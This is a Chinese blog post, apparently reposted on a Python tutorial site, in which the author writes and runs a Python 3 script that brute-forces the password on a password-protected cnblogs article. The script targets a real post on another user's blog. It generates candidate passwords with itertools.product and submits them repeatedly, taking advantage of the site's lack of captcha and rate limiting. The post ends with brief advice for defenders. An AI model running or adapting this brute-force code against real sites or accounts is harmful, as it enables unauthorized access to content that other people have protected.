python3实现暴力穷举博客园密码


Posted in Python onJune 19, 2016

我之前想写路由器的密码暴力破解器,我手上只有极路由,发现极路由有安全限制,只能允许连续10密码错误,所以我改拿博客园练手。

博客园的博客有个功能是给博文设置一个密码,输入正确的密码才能看到文章的内容。经过测试发现这个密码验证功能,既没有验证码也没有提交频率的限制,

要写这个针对博客园的密码暴力破解器模型会非常简单,很好实现。

比如打开这个博文,会显示一个密码输入框:http://www.cnblogs.com/post/readauth?url=/muer/archive/2011/11/27/factualism.html

我之前没有写过这样的程序,也没有看过别人写这类功能的代码,就按我自己所理解的想法来写一个最简单的密码破解器,不要多线程,不要分布式,

这个程序会有这么两个部分:

1、我需要一个生成器,可以不停的生成所有可能的密码组合,比如生成a,b,c,aa,bb,cc,ab,ac...abc,cba...abcd...等等所有的密码组合。

2、我需要不停的提交密码,直到认为密码正确,记录密码,退出程序。

-_-!为什么使用生成器?

python2中range() 不是一个生成器,当你range(N),N为一个很大的数时...python就会爆炸!!!哈哈哈..

写细致的博客太消耗时间和心力,我这里不写具体的分析过程了,后面直接上代码,如果看不懂,查相关关键词就可以,毕竟基础教程性的文章和内容非常之多。

tqdm是一个python进度条库,requests是一个简单优雅的http库,

product是python3的标准库itertools下的函数,可以用生成 (a,b,c...) (c,b,a...)这样的序列,用''.join连接起来就得到了"abc"这样的一个密码。

"""
python3暴力穷举密码
2016年6月09日 04:39:25 codegay
"""
from time import strftime
from itertools import product
from time import sleep
from tqdm import tqdm
import requests
from requests import post

#密码生成器
def psgen(x=4):
  iter = ['1234567890',
      'abcdefghijklmnopqrstuvwxyz',
      'ABCDEFGHIJKLMNOPQRSTUVWXYZ',

      ]
  for r in iter:
    for repeat in range(1,x+1):
      for ps in product(r,repeat=repeat):
        yield ''.join(ps)

def fx(url):
#把URL中的readauth字符删掉,替换成"http://www.cnblogs.com/muer/archive/2011/11/27/factualism.html"这样的格式,因为这个才POST的目标地址。
  url = url.replace("/post/readauth?url=", "")
  for ps in tqdm(psgen(6)):
    try:
      rs=post(url,data={'tb_password':ps},allow_redirects=1)
      if rs.url == url: #如果提交密码后,返回的url得到为"http://www.cnblogs.com/muer/archive/2011/11/27/factualism.html"这样的形式,那么认为猜到正确的密码了。
        with open("resut.csv","a+") as f:
          f.write('密码破解成功结果为:,'+ ps + ',' + strftime("%c") + ',' + url+'\n')
        break
    except:
      sleep(1)
      pass

url='http://www.cnblogs.com/post/readauth?url=/muer/archive/2011/11/27/factualism.html'
fx(url)

最后,这个程序运行速度大约是每秒提交6次密码,我运行了30个小时,也不过是迭代几十万次,并没有能把密码破解出来,没有产生实质性的危害。

总结:

1、密码验证的地方适当增加一些防止暴力破解的手段。

2、仍然有必要使用复杂的密码提高安全度。虽然这样的一个简单的程序并没有什么卵用。

Python 相关文章推荐
python多进程操作实例
Nov 21 Python
Python中多线程及程序锁浅析
Jan 21 Python
Django日志模块logging的配置详解
Feb 14 Python
Python基于回溯法子集树模板解决选排问题示例
Sep 07 Python
教你利用Python玩转histogram直方图的五种方法
Jul 30 Python
Scrapy框架爬取西刺代理网免费高匿代理的实现代码
Feb 22 Python
python flask框架实现传数据到js的方法分析
Jun 11 Python
Python 实例方法、类方法、静态方法的区别与作用
Aug 14 Python
python socket 聊天室实例代码详解
Nov 14 Python
pytorch点乘与叉乘示例讲解
Dec 27 Python
Python fileinput模块如何逐行读取多个文件
Oct 05 Python
Python 文字识别
May 11 Python
在阿里云服务器上配置CentOS+Nginx+Python+Flask环境
Jun 18 #Python
Python中使用装饰器来优化尾递归的示例
Jun 18 #Python
举例讲解Python面向对象编程中类的继承
Jun 17 #Python
浅谈python为什么不需要三目运算符和switch
Jun 17 #Python
python运行时间的几种方法
Jun 17 #Python
从局部变量和全局变量开始全面解析Python中变量的作用域
Jun 16 #Python
实例讲解Python中global语句下全局变量的值的修改
Jun 16 #Python
You might like
WinXP + Apache +PHP5 + MySQL + phpMyAdmin安装全功略
2006/07/09 PHP
PHP生成不重复随机数的方法汇总
2014/11/19 PHP
PHP常见的6个错误提示及解决方法
2016/07/07 PHP
var与Javascript变量隐式声明
2009/09/17 Javascript
Js组件的一些写法
2010/09/10 Javascript
提示$ is not defined错误分析及解决
2013/04/09 Javascript
Node.js 的异步 IO 性能探讨
2014/10/08 Javascript
微信小程序 教程之模块化
2016/10/17 Javascript
jquery 标签 隔若干行加空白或者加虚线的方法
2016/12/07 Javascript
JavaScript调试的多个必备小Tips
2017/01/15 Javascript
AngularJS的ng-repeat指令与scope继承关系实例详解
2017/01/21 Javascript
Vue组件开发初探
2017/02/14 Javascript
Node.js通过身份证号验证年龄、出生日期与性别方法示例
2017/03/09 Javascript
JS实现获取word文档内容并输出显示到html页面示例
2018/06/23 Javascript
Vue 与 Vuex 的第一次接触遇到的坑
2018/08/16 Javascript
element form 校验数组每一项实例代码
2019/10/10 Javascript
ES6的循环与可迭代对象示例详解
2021/01/31 Javascript
[14:19]2018年度COSER大赛-完美盛典
2018/12/16 DOTA
Python使用reportlab将目录下所有的文本文件打印成pdf的方法
2015/05/20 Python
Python字符串和字典相关操作的实例详解
2017/09/23 Python
利用python编写一个图片主色转换的脚本
2017/12/07 Python
python pytest进阶之conftest.py详解
2019/06/27 Python
python 数据库查询返回list或tuple实例
2020/05/15 Python
使用 django orm 写 exists 条件过滤实例
2020/05/20 Python
实例讲解Python 迭代器与生成器
2020/07/08 Python
Pycharm 2020.1 版配置优化的详细教程
2020/08/07 Python
python3.7.3版本和django2.2.3版本是否可以兼容
2020/09/01 Python
H5调用相机拍照并压缩图片的实例代码
2017/07/20 HTML / CSS
Unix如何在一行中运行多个命令
2015/05/29 面试题
民事起诉书范本
2015/05/19 职场文书
python实现简单倒计时功能
2021/04/21 Python
使用GO语言实现Mysql数据库CURD的简单示例
2021/08/07 Golang
MSSQL基本语法操作
2022/04/11 SQL Server
5个pandas调用函数的方法让数据处理更加灵活自如
2022/04/24 Python
js 实现Material UI点击涟漪效果示例
2022/09/23 Javascript